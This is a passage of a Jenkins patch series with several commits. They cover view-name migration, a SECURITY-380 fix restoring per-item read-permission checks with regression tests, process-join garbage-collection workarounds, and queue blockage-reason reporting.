+ try { + writeStringToFile(getUserFile(), String.valueOf(currentTimeMillis()), true); + } catch (IOException e) { + Throwables.propagate(e); + } + } + + private File getUserFile() throws IOException { + final File usersRootDir = new File(Jenkins.getInstance().getRootDir(), "users"); + final File userDir = new File(usersRootDir, idStrategy().filenameOf(user.getId())); + final File userFile = new File(userDir, TEST_FILE); + if (!userFile.exists()) { + userFile.createNewFile(); + } + return userFile; + } + + @Override + public DescriptorImpl getDescriptor() { + return (DescriptorImpl) super.getDescriptor(); + } + + @TestExtension + public static class DescriptorImpl extends Descriptor { + } + } + } diff --git a/test/src/test/resources/hudson/model/UserPropertyTest/SetUserUserProperty/config.jelly b/test/src/test/resources/hudson/model/UserPropertyTest/SetUserUserProperty/config.jelly new file mode 100644 index 0000000000..a25eb2344a --- /dev/null +++ b/test/src/test/resources/hudson/model/UserPropertyTest/SetUserUserProperty/config.jelly @@ -0,0 +1,2 @@ + + diff --git a/test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/config.xml b/test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/config.xml new file mode 100644 index 0000000000..b302226802 --- /dev/null +++ b/test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/config.xml @@ -0,0 +1,3 @@ + + + diff --git a/test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/users/nestedUserReference/config.xml b/test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/users/nestedUserReference/config.xml new file mode 100644 index 0000000000..75d0d6330c --- /dev/null +++ b/test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/users/nestedUserReference/config.xml @@ -0,0 +1,9 @@ + + + nesteduserreference + + + + + + -- GitLab From fd2009a9712b8b0a8c310d687df07df60edbc8ad Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Wed, 7 Dec 2016 09:54:04 +0000 Subject: [PATCH 559/811] [JENKINS-38606] Allow legacy localized links to continue working after migration - This means we can default the migration to enabled --- core/src/main/java/hudson/model/AllView.java | 11 ++++++----- core/src/main/java/hudson/model/MyViewsProperty.java | 2 +- core/src/main/java/hudson/model/ViewGroupMixIn.java | 11 +++++++++++ core/src/main/java/jenkins/model/Jenkins.java | 2 +- 4 files changed, 19 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/hudson/model/AllView.java b/core/src/main/java/hudson/model/AllView.java index a1ffdb9e25..06122f89c6 100644 --- a/core/src/main/java/hudson/model/AllView.java +++ b/core/src/main/java/hudson/model/AllView.java @@ -118,15 +118,15 @@ public class AllView extends View { /** * Corrects the name of the {@link AllView} if and only if the {@link AllView} is the primary view and - * its name is one of the localized forms of {@link Messages#_Hudson_ViewName()} and the user has opted in to - * fixing the view name by setting the system property {@code hudson.mode.AllView.JENKINS-38606} to {@code true}. + * its name is one of the localized forms of {@link Messages#_Hudson_ViewName()} and the user has not opted out of + * fixing the view name by setting the system property {@code hudson.mode.AllView.JENKINS-38606} to {@code false}. * Use this method to round-trip the primary view name, e.g. * {@code primaryView = applyJenkins38606Fixup(views, primaryView)} *

                                      * NOTE: we can only fix the localized name of an {@link AllView} if it is the primary view as otherwise urls * would change, whereas the primary view is special and does not normally get accessed by the * {@code /view/_name_} url. (Also note that there are some cases where the primary view will get accessed by - * its {@code /view/_name_} url which is why users need to opt-in to this fix. + * its {@code /view/_name_} url which will then fall back to the primary view) * * @param views the list of views. * @param primaryView the current primary view name. @@ -135,12 +135,13 @@ public class AllView extends View { * @since FIXME */ @Nonnull - public static String applyJenkins38606Fixup(@Nonnull List views, @Nonnull String primaryView) { + public static String migrateLegacyPrimaryAllViewLocalizedName(@Nonnull List views, + @Nonnull String primaryView) { if (DEFAULT_VIEW_NAME.equals(primaryView)) { // modern name, we are safe return primaryView; } - if (SystemProperties.getBoolean(AllView.class.getName()+".JENKINS-38606")) { + if (SystemProperties.getBoolean(AllView.class.getName()+".JENKINS-38606", true)) { AllView allView = null; for (View v : views) { if (DEFAULT_VIEW_NAME.equals(v.getViewName())) { diff --git a/core/src/main/java/hudson/model/MyViewsProperty.java b/core/src/main/java/hudson/model/MyViewsProperty.java index 363bab4478..6220cf0777 100644 --- a/core/src/main/java/hudson/model/MyViewsProperty.java +++ b/core/src/main/java/hudson/model/MyViewsProperty.java @@ -87,7 +87,7 @@ public class MyViewsProperty extends UserProperty implements ModifiableViewGroup // preserve the non-empty invariant views.add(new AllView(AllView.DEFAULT_VIEW_NAME, this)); } - primaryViewName = AllView.applyJenkins38606Fixup(views, primaryViewName); + primaryViewName = AllView.migrateLegacyPrimaryAllViewLocalizedName(views, primaryViewName); viewGroupMixIn = new ViewGroupMixIn(this) { protected List views() { return views; } diff --git a/core/src/main/java/hudson/model/ViewGroupMixIn.java b/core/src/main/java/hudson/model/ViewGroupMixIn.java index e390005edb..dcdc5a803c 100644 --- a/core/src/main/java/hudson/model/ViewGroupMixIn.java +++ b/core/src/main/java/hudson/model/ViewGroupMixIn.java @@ -26,6 +26,8 @@ package hudson.model; import hudson.model.ItemGroupMixIn; import hudson.model.View; import hudson.model.ViewGroup; +import java.util.Locale; +import java.util.logging.Level; import org.kohsuke.stapler.export.Exported; import java.io.IOException; @@ -99,6 +101,15 @@ public abstract class ViewGroupMixIn { View pv = getPrimaryView(); if (pv instanceof ViewGroup) return ((ViewGroup)pv).getView(name); + if (pv instanceof AllView && AllView.DEFAULT_VIEW_NAME.equals(pv.name)) { + // JENKINS-38606: primary view is the default AllView, is somebody using an old link to localized form? + for (Locale l : Locale.getAvailableLocales()) { + if (name.equals(Messages._Hudson_ViewName().toString(l))) { + // why yes they are, let's keep that link working + return pv; + } + } + } } return null; } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index d5d4566ec8..d0c07bc41e 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -3057,7 +3057,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve views.add(0,v); primaryView = v.getViewName(); } - primaryView =AllView.applyJenkins38606Fixup(views, primaryView); + primaryView = AllView.migrateLegacyPrimaryAllViewLocalizedName(views, primaryView); if (useSecurity!=null && !useSecurity) { // forced reset to the unsecure mode. -- GitLab From 8de0056065b718efb9943394fab4616ea72fadf5 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 7 Dec 2016 18:32:59 +0100 Subject: [PATCH 560/811] [FIX SECURITY-380] Don't optimize permission check in getItems() --- core/src/main/java/jenkins/model/Jenkins.java | 6 -- .../jenkins/security/Security380Test.java | 95 +++++++++++++++++++ 2 files changed, 95 insertions(+), 6 deletions(-) create mode 100644 test/src/test/java/jenkins/security/Security380Test.java diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index a2d54fe19b..470496b9ac 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -136,7 +136,6 @@ import hudson.security.AccessControlled; import hudson.security.AuthorizationStrategy; import hudson.security.BasicAuthenticationFilter; import hudson.security.FederatedLoginService; -import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; import hudson.security.HudsonFilter; import hudson.security.LegacyAuthorizationStrategy; import hudson.security.LegacySecurityRealm; @@ -1479,11 +1478,6 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve */ @Exported(name="jobs") public List getItems() { - if (authorizationStrategy instanceof AuthorizationStrategy.Unsecured || - authorizationStrategy instanceof FullControlOnceLoggedInAuthorizationStrategy) { - return new ArrayList(items.values()); - } - List viewableItems = new ArrayList(); for (TopLevelItem item : items.values()) { if (item.hasPermission(Item.READ)) diff --git a/test/src/test/java/jenkins/security/Security380Test.java b/test/src/test/java/jenkins/security/Security380Test.java new file mode 100644 index 0000000000..5d3475df92 --- /dev/null +++ b/test/src/test/java/jenkins/security/Security380Test.java @@ -0,0 +1,95 @@ +package jenkins.security; + +import com.gargoylesoftware.htmlunit.Page; +import hudson.model.UnprotectedRootAction; +import hudson.security.ACL; +import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; +import hudson.util.HttpResponses; +import jenkins.model.Jenkins; +import org.junit.Assert; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.TestExtension; +import org.kohsuke.stapler.HttpResponse; + +public class Security380Test { + + @Rule + public JenkinsRule j = new JenkinsRule(); + + @Issue("SECURITY-380") + @Test + public void testGetItemsWithoutAnonRead() throws Exception { + FullControlOnceLoggedInAuthorizationStrategy strategy = new FullControlOnceLoggedInAuthorizationStrategy(); + strategy.setAllowAnonymousRead(false); + Jenkins.getInstance().setAuthorizationStrategy(strategy); + + Jenkins.getInstance().setSecurityRealm(j.createDummySecurityRealm()); + + j.createFreeStyleProject(); + ACL.impersonate(Jenkins.ANONYMOUS, new Runnable() { + @Override + public void run() { + Assert.assertEquals("no items", 0, Jenkins.getInstance().getItems().size()); + } + }); + } + + @Issue("SECURITY-380") + @Test + public void testGetItems() throws Exception { + FullControlOnceLoggedInAuthorizationStrategy strategy = new FullControlOnceLoggedInAuthorizationStrategy(); + strategy.setAllowAnonymousRead(true); + Jenkins.getInstance().setAuthorizationStrategy(strategy); + + Jenkins.getInstance().setSecurityRealm(j.createDummySecurityRealm()); + + j.createFreeStyleProject(); + ACL.impersonate(Jenkins.ANONYMOUS, new Runnable() { + @Override + public void run() { + Assert.assertEquals("one item", 1, Jenkins.getInstance().getItems().size()); + } + }); + } + + @Issue("SECURITY-380") + @Test + public void testWithUnprotectedRootAction() throws Exception { + FullControlOnceLoggedInAuthorizationStrategy strategy = new FullControlOnceLoggedInAuthorizationStrategy(); + strategy.setAllowAnonymousRead(false); + Jenkins.getInstance().setAuthorizationStrategy(strategy); + + Jenkins.getInstance().setSecurityRealm(j.createDummySecurityRealm()); + j.createFreeStyleProject(); + + JenkinsRule.WebClient wc = j.createWebClient(); + Page page = wc.goTo("listJobs", "text/plain"); + Assert.assertEquals("expect 0 items", "0", page.getWebResponse().getContentAsString().trim()); + } + + @TestExtension + public static class JobListingUnprotectedRootAction implements UnprotectedRootAction { + + @Override + public String getIconFileName() { + return null; + } + + @Override + public String getDisplayName() { + return null; + } + + @Override + public String getUrlName() { + return "listJobs"; + } + + public HttpResponse doIndex() throws Exception { + return HttpResponses.plainText(Integer.toString(Jenkins.getInstance().getItems().size())); + } + } +} -- GitLab From fcfd271ad5ad5947075052d37177249c760f6184 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 20 Nov 2016 00:53:42 +0100 Subject: [PATCH 561/811] [JENKINS-23271] - Prevent early deallocation of the Proc instance by GC in ProcStarter#join() (#2635) * [JENKINS-23271] - Prevent the prelimimary deallocation of the Proc instance by GC It is a hackish way, which likely prevents a preliminary deallocation of the spawned RemoteProc instance, which we see in JENKINS-23271. Proc instance was not actually required in the original code since we were creating and using RemoteInvocationHandler wrapper only, and the theory discussed with @stephenc was that object gets removed by Java8 garbage collector before we get into join(). This fix enforces the persistency of ProcStarter#start() result by adding logging and the enforced volatile field (maybe the last one is not really required, but JIT compiler in Java implementations may be smart enough to skip unused loggers) This is a pretty old fix from August, which has been soak tested on my instance for several weeks (mid-August => Jenkins World). On the reference instance (just a small Jenkins instance with 4 agents and very frequent builds with CommandInterpreter steps) I saw 2 failures over the period. On the fixed instance - 0. It does not proof anything, but at least the fix was soak tested a bit * [JENKINS-23271] - Get rid of the procHolderForJoin field * [JENKINS-23271] - Also put the check into the finally statement as @stephenc proposed * Remove assert (cherry picked from commit fd6c6aff929be9818f4eb4b84ed6b4593356853f) --- core/src/main/java/hudson/Launcher.java | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/Launcher.java b/core/src/main/java/hudson/Launcher.java index 4a6ed74f85..3f8c24d3a4 100644 --- a/core/src/main/java/hudson/Launcher.java +++ b/core/src/main/java/hudson/Launcher.java @@ -42,6 +42,8 @@ import org.apache.commons.io.input.NullInputStream; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import javax.annotation.CheckForNull; +import javax.annotation.concurrent.GuardedBy; import java.io.BufferedOutputStream; import java.io.File; import java.io.IOException; @@ -383,9 +385,25 @@ public abstract class Launcher { /** * Starts the process and waits for its completion. + * @return Return code of the invoked process + * @throws IOException Operation error (e.g. remote call failure) + * @throws InterruptedException The process has been interrupted */ public int join() throws IOException, InterruptedException { - return start().join(); + // The logging around procHolderForJoin prevents the preliminary object deallocation we saw in JENKINS-23271 + final Proc procHolderForJoin = start(); + LOGGER.log(Level.FINER, "Started the process {0}", procHolderForJoin); + try { + final int returnCode = procHolderForJoin.join(); + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{procHolderForJoin, returnCode}); + } + return returnCode; + } finally { + if (procHolderForJoin.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process not finished after call to join() completed"); + } + } } /** -- GitLab From 5500e5c00bc19e6c421c9aaa88f6dbb57c666db3 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 3 Dec 2016 16:55:35 +0100 Subject: [PATCH 562/811] [JENKINS-23271] - Process statuses of Remote process join() operations directly inside methods (#2653) * [JENKINS-23271] - Process statuses of Remote process join() operations directly inside methods * [JENKINS-23271] - Also prevent the issue when the kill() command is the last call in the usage sequence (cherry picked from commit 29893354a52efac20efcb4e0e91723f3bd889059) --- core/src/main/java/hudson/Launcher.java | 51 +++++++++++++++++++------ core/src/main/java/hudson/Proc.java | 32 ++++++++++++++-- 2 files changed, 68 insertions(+), 15 deletions(-) diff --git a/core/src/main/java/hudson/Launcher.java b/core/src/main/java/hudson/Launcher.java index 3f8c24d3a4..4e8d0b58ab 100644 --- a/core/src/main/java/hudson/Launcher.java +++ b/core/src/main/java/hudson/Launcher.java @@ -59,6 +59,7 @@ import java.util.logging.Level; import java.util.logging.Logger; import static org.apache.commons.io.output.NullOutputStream.NULL_OUTPUT_STREAM; +import hudson.Proc.ProcWithJenkins23271Patch; /** * Starts a process. @@ -393,15 +394,27 @@ public abstract class Launcher { // The logging around procHolderForJoin prevents the preliminary object deallocation we saw in JENKINS-23271 final Proc procHolderForJoin = start(); LOGGER.log(Level.FINER, "Started the process {0}", procHolderForJoin); - try { - final int returnCode = procHolderForJoin.join(); - if (LOGGER.isLoggable(Level.FINER)) { - LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{procHolderForJoin, returnCode}); + + if (procHolderForJoin instanceof ProcWithJenkins23271Patch) { + return procHolderForJoin.join(); + } else { + // Fallback to the internal handling logic + if (!(procHolderForJoin instanceof LocalProc)) { + // We consider that the process may be at risk of JENKINS-23271 + LOGGER.log(Level.FINE, "Process {0} of type {1} is neither {2} nor instance of {3}. " + + "If this process operates with Jenkins agents via remote invocation, you may get into JENKINS-23271", + new Object[] {procHolderForJoin, procHolderForJoin.getClass(), LocalProc.class, ProcWithJenkins23271Patch.class}); } - return returnCode; - } finally { - if (procHolderForJoin.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis - LOGGER.log(Level.WARNING, "Process not finished after call to join() completed"); + try { + final int returnCode = procHolderForJoin.join(); + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{procHolderForJoin, returnCode}); + } + return returnCode; + } finally { + if (procHolderForJoin.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not finished after the join() method completion", procHolderForJoin); + } } } } @@ -990,7 +1003,7 @@ public abstract class Launcher { private static final long serialVersionUID = 1L; } - public static final class ProcImpl extends Proc { + public static final class ProcImpl extends Proc implements ProcWithJenkins23271Patch { private final RemoteProcess process; private final IOTriplet io; @@ -1001,12 +1014,28 @@ public abstract class Launcher { @Override public void kill() throws IOException, InterruptedException { - process.kill(); + try { + process.kill(); + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the kill() method execution", this); + } + } } @Override public int join() throws IOException, InterruptedException { - return process.join(); + try { + final int returnCode = process.join(); + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{this, returnCode}); + } + return returnCode; + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the join() method completion", this); + } + } } @Override diff --git a/core/src/main/java/hudson/Proc.java b/core/src/main/java/hudson/Proc.java index a2d1729827..abe104462a 100644 --- a/core/src/main/java/hudson/Proc.java +++ b/core/src/main/java/hudson/Proc.java @@ -49,6 +49,8 @@ import java.util.concurrent.Future; import java.util.concurrent.TimeUnit; import java.util.logging.Level; import java.util.logging.Logger; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; /** * External process wrapper. @@ -431,7 +433,7 @@ public abstract class Proc { * @deprecated as of 1.399. Replaced by {@link Launcher.RemoteLauncher.ProcImpl} */ @Deprecated - public static final class RemoteProc extends Proc { + public static final class RemoteProc extends Proc implements ProcWithJenkins23271Patch { private final Future process; public RemoteProc(Future process) { @@ -440,7 +442,14 @@ public abstract class Proc { @Override public void kill() throws IOException, InterruptedException { - process.cancel(true); + try { + process.cancel(true); + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + // TODO: Report exceptions if they happen? + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the kill() method execution", this); + } + } } @Override @@ -448,8 +457,8 @@ public abstract class Proc { try { return process.get(); } catch (InterruptedException e) { - // aborting. kill the process - process.cancel(true); + LOGGER.log(Level.FINE, String.format("Join operation has been interrupted for the process %s. Killing the process", this), e); + kill(); throw e; } catch (ExecutionException e) { if(e.getCause() instanceof IOException) @@ -457,6 +466,10 @@ public abstract class Proc { throw new IOException("Failed to join the process",e); } catch (CancellationException x) { return -1; + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the join() method completion", this); + } } } @@ -486,4 +499,15 @@ public abstract class Proc { * Debug switch to have the thread display the process it's waiting for. */ public static boolean SHOW_PID = false; + + /** + * An instance of {@link Proc}, which has an internal workaround for JENKINS-23271. + * It presumes that the instance of the object is guaranteed to be used after the {@link Proc#join()} call. + * See JENKINS-23271> + * @author Oleg Nenashev + */ + @Restricted(NoExternalUse.class) + public interface ProcWithJenkins23271Patch { + // Empty marker interface + } } -- GitLab From 5c79beb3efc0058d38a36a302362e69625231377 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 8 Dec 2016 18:03:45 -0500 Subject: [PATCH 563/811] [FIXED JENKINS-40281] Do not try to mutate the result of getActions(Class). --- core/src/main/java/hudson/model/Run.java | 1 + test/src/test/java/hudson/model/RunTest.java | 14 ++++++++++++++ 2 files changed, 15 insertions(+) diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index dfb4dffd14..338475983c 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -480,6 +480,7 @@ public abstract class Run ,RunT extends Run getBadgeActions() { List r = getActions(BuildBadgeAction.class); if(isKeepLog()) { + r = new ArrayList<>(r); r.add(new KeepLogBuildBadge()); } return r; diff --git a/test/src/test/java/hudson/model/RunTest.java b/test/src/test/java/hudson/model/RunTest.java index 0d872f8840..92cbef2081 100644 --- a/test/src/test/java/hudson/model/RunTest.java +++ b/test/src/test/java/hudson/model/RunTest.java @@ -26,6 +26,8 @@ package hudson.model; import java.net.HttpURLConnection; import java.util.Collection; import java.util.Collections; +import java.util.List; +import static org.junit.Assert.*; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.Issue; @@ -59,4 +61,16 @@ public class RunTest { j.createWebClient().assertFails("job/stuff/1/nonexistent", HttpURLConnection.HTTP_NOT_FOUND); } + @Issue("JENKINS-40281") + @Test public void getBadgeActions() throws Exception { + FreeStyleProject p = j.createFreeStyleProject(); + FreeStyleBuild b = j.buildAndAssertSuccess(p); + assertEquals(0, b.getBadgeActions().size()); + assertTrue(b.canToggleLogKeep()); + b.keepLog(); + List badgeActions = b.getBadgeActions(); + assertEquals(1, badgeActions.size()); + assertEquals(Run.KeepLogBuildBadge.class, badgeActions.get(0).getClass()); + } + } -- GitLab From 8d23041d4b785947dee1bc02f54a41d86b59bdda Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 9 Dec 2016 05:04:22 -0500 Subject: [PATCH 564/811] [JENKINS-38514] Retain CauseOfBlockage from JobOffer (#2651) * Converted to JenkinsRule. * Improved messages from Node.canTake. * [FIXED JENKINS-38514] BuildableItem needs to retain information from JobOffer about why it is neither blocked nor building. * Converted to JenkinsRule. * Found an existing usage of BecauseNodeIsNotAcceptingTasks. * Original JENKINS-6598 test was checking behavior we want amended by JENKINS-38514. * Ensure that a BuildableItem which is simply waiting for a free executor reports that as its CauseOfBlockage. * Review comments from @oleg-nenashev. --- core/src/main/java/hudson/model/Node.java | 8 +- core/src/main/java/hudson/model/Queue.java | 76 +++++++++++++++---- .../hudson/model/queue/CauseOfBlockage.java | 33 +++++++- .../model/queue/CompositeCauseOfBlockage.java | 63 +++++++++++++++ .../hudson/model/Messages.properties | 4 +- .../CompositeCauseOfBlockage/summary.jelly | 32 ++++++++ .../model/queue/QueueTaskDispatcherTest.java | 74 +++++++++++++++--- .../hudson/slaves/NodeCanTakeTaskTest.java | 75 +++++++++++------- 8 files changed, 306 insertions(+), 59 deletions(-) create mode 100644 core/src/main/java/jenkins/model/queue/CompositeCauseOfBlockage.java create mode 100644 core/src/main/resources/jenkins/model/queue/CompositeCauseOfBlockage/summary.jelly diff --git a/core/src/main/java/hudson/model/Node.java b/core/src/main/java/hudson/model/Node.java index d7c4071428..54f7910bbe 100644 --- a/core/src/main/java/hudson/model/Node.java +++ b/core/src/main/java/hudson/model/Node.java @@ -372,7 +372,7 @@ public abstract class Node extends AbstractModelObject implements Reconfigurable public CauseOfBlockage canTake(Queue.BuildableItem item) { Label l = item.getAssignedLabel(); if(l!=null && !l.contains(this)) - return CauseOfBlockage.fromMessage(Messages._Node_LabelMissing(getNodeName(),l)); // the task needs to be executed on label that this node doesn't have. + return CauseOfBlockage.fromMessage(Messages._Node_LabelMissing(getDisplayName(), l)); // the task needs to be executed on label that this node doesn't have. if(l==null && getMode()== Mode.EXCLUSIVE) { // flyweight tasks need to get executed somewhere, if every node @@ -381,14 +381,14 @@ public abstract class Node extends AbstractModelObject implements Reconfigurable || Jenkins.getInstance().getNumExecutors() < 1 || Jenkins.getInstance().getMode() == Mode.EXCLUSIVE) )) { - return CauseOfBlockage.fromMessage(Messages._Node_BecauseNodeIsReserved(getNodeName())); // this node is reserved for tasks that are tied to it + return CauseOfBlockage.fromMessage(Messages._Node_BecauseNodeIsReserved(getDisplayName())); // this node is reserved for tasks that are tied to it } } Authentication identity = item.authenticate(); if (!getACL().hasPermission(identity,Computer.BUILD)) { // doesn't have a permission - return CauseOfBlockage.fromMessage(Messages._Node_LackingBuildPermission(identity.getName(),getNodeName())); + return CauseOfBlockage.fromMessage(Messages._Node_LackingBuildPermission(identity.getName(), getDisplayName())); } // Check each NodeProperty to see whether they object to this node @@ -399,7 +399,7 @@ public abstract class Node extends AbstractModelObject implements Reconfigurable } if (!isAcceptingTasks()) { - return CauseOfBlockage.fromMessage(Messages._Node_BecauseNodeIsNotAcceptingTasks(getNodeName())); + return new CauseOfBlockage.BecauseNodeIsNotAcceptingTasks(this); } // Looks like we can take the task diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index bbc227604e..66fc9f3f93 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -61,6 +61,7 @@ import hudson.model.queue.CauseOfBlockage.BecauseNodeIsOffline; import hudson.model.queue.CauseOfBlockage.BecauseLabelIsOffline; import hudson.model.queue.CauseOfBlockage.BecauseNodeIsBusy; import hudson.model.queue.WorkUnitContext; +import hudson.security.ACL; import hudson.security.AccessControlled; import jenkins.security.QueueItemAuthenticatorProvider; import jenkins.util.Timer; @@ -122,10 +123,10 @@ import org.kohsuke.accmod.restrictions.DoNotUse; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.converters.basic.AbstractSingleValueConverter; import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; -import jenkins.util.SystemProperties; import javax.annotation.CheckForNull; import javax.annotation.Nonnegative; import jenkins.model.queue.AsynchronousExecution; +import jenkins.model.queue.CompositeCauseOfBlockage; import org.kohsuke.stapler.QueryParameter; import org.kohsuke.stapler.interceptor.RequirePOST; @@ -219,7 +220,7 @@ public class Queue extends ResourceController implements Saveable { * to assign a work. Once a work is assigned, the executor actually gets * started to carry out the task in question. */ - public class JobOffer extends MappingWorksheet.ExecutorSlot { + public static class JobOffer extends MappingWorksheet.ExecutorSlot { public final Executor executor; /** @@ -246,20 +247,44 @@ public class Queue extends ResourceController implements Saveable { } /** - * Verifies that the {@link Executor} represented by this object is capable of executing the given task. + * @deprecated discards information; prefer {@link #getCauseOfBlockage} */ + @Deprecated public boolean canTake(BuildableItem item) { - Node node = getNode(); - if (node==null) return false; // this executor is about to die - - if(node.canTake(item)!=null) - return false; // this node is not able to take the task - - for (QueueTaskDispatcher d : QueueTaskDispatcher.all()) - if (d.canTake(node,item)!=null) - return false; + return getCauseOfBlockage(item) == null; + } - return isAvailable(); + /** + * Checks whether the {@link Executor} represented by this object is capable of executing the given task. + * @return a reason why it cannot, or null if it could + * @since FIXME + */ + public @CheckForNull CauseOfBlockage getCauseOfBlockage(BuildableItem item) { + Node node = getNode(); + if (node == null) { + return CauseOfBlockage.fromMessage(Messages._Queue_node_has_been_removed_from_configuration(executor.getOwner().getDisplayName())); + } + CauseOfBlockage reason = node.canTake(item); + if (reason != null) { + return reason; + } + for (QueueTaskDispatcher d : QueueTaskDispatcher.all()) { + reason = d.canTake(node, item); + if (reason != null) { + return reason; + } + } + // inlining isAvailable: + if (workUnit != null) { // unlikely in practice (should not have even found this executor if so) + return CauseOfBlockage.fromMessage(Messages._Queue_executor_slot_already_in_use()); + } + if (executor.getOwner().isOffline()) { + return new CauseOfBlockage.BecauseNodeIsOffline(node); + } + if (!executor.getOwner().isAcceptingTasks()) { // Node.canTake (above) does not consider RetentionStrategy.isAcceptingTasks + return new CauseOfBlockage.BecauseNodeIsNotAcceptingTasks(node); + } + return null; } /** @@ -1521,13 +1546,18 @@ public class Queue extends ResourceController implements Saveable { } } else { - List candidates = new ArrayList(parked.size()); + List candidates = new ArrayList<>(parked.size()); + List reasons = new ArrayList<>(parked.size()); for (JobOffer j : parked.values()) { - if (j.canTake(p)) { + CauseOfBlockage reason = j.getCauseOfBlockage(p); + if (reason == null) { LOGGER.log(Level.FINEST, "{0} is a potential candidate for task {1}", - new Object[]{j.executor.getDisplayName(), taskDisplayName}); + new Object[]{j, taskDisplayName}); candidates.add(j); + } else { + LOGGER.log(Level.FINEST, "{0} rejected {1}: {2}", new Object[] {j, taskDisplayName, reason}); + reasons.add(reason); } } @@ -1539,6 +1569,7 @@ public class Queue extends ResourceController implements Saveable { // check if we can execute other projects LOGGER.log(Level.FINER, "Failed to map {0} to executors. candidates={1} parked={2}", new Object[]{p, candidates, parked.values()}); + p.transientCausesOfBlockage = reasons.isEmpty() ? null : reasons; continue; } @@ -2465,6 +2496,12 @@ public class Queue extends ResourceController implements Saveable { */ private boolean isPending; + /** + * Reasons why the last call to {@link #maintain} left this buildable (but not blocked or executing). + * May be null but not empty. + */ + private transient volatile @CheckForNull List transientCausesOfBlockage; + public BuildableItem(WaitingItem wi) { super(wi); } @@ -2478,6 +2515,8 @@ public class Queue extends ResourceController implements Saveable { if(isBlockedByShutdown(task)) return CauseOfBlockage.fromMessage(Messages._Queue_HudsonIsAboutToShutDown()); + List causesOfBlockage = transientCausesOfBlockage; + Label label = getAssignedLabel(); List allNodes = jenkins.getNodes(); if (allNodes.isEmpty()) @@ -2489,9 +2528,14 @@ public class Queue extends ResourceController implements Saveable { if (nodes.size() != 1) return new BecauseLabelIsOffline(label); else return new BecauseNodeIsOffline(nodes.iterator().next()); } else { + if (causesOfBlockage != null && label.getIdleExecutors() > 0) { + return new CompositeCauseOfBlockage(causesOfBlockage); + } if (nodes.size() != 1) return new BecauseLabelIsBusy(label); else return new BecauseNodeIsBusy(nodes.iterator().next()); } + } else if (causesOfBlockage != null && new ComputerSet().getIdleExecutors() > 0) { + return new CompositeCauseOfBlockage(causesOfBlockage); } else { return CauseOfBlockage.createNeedsMoreExecutor(Messages._Queue_WaitingForNextAvailableExecutor()); } diff --git a/core/src/main/java/hudson/model/queue/CauseOfBlockage.java b/core/src/main/java/hudson/model/queue/CauseOfBlockage.java index 5cb6587036..2235d98218 100644 --- a/core/src/main/java/hudson/model/queue/CauseOfBlockage.java +++ b/core/src/main/java/hudson/model/queue/CauseOfBlockage.java @@ -1,12 +1,14 @@ package hudson.model.queue; import hudson.console.ModelHyperlinkNote; +import hudson.model.Computer; import hudson.model.Queue.Task; import hudson.model.Node; import hudson.model.Messages; import hudson.model.Label; import hudson.model.TaskListener; import hudson.slaves.Cloud; +import javax.annotation.Nonnull; import org.jvnet.localizer.Localizable; /** @@ -42,8 +44,10 @@ public abstract class CauseOfBlockage 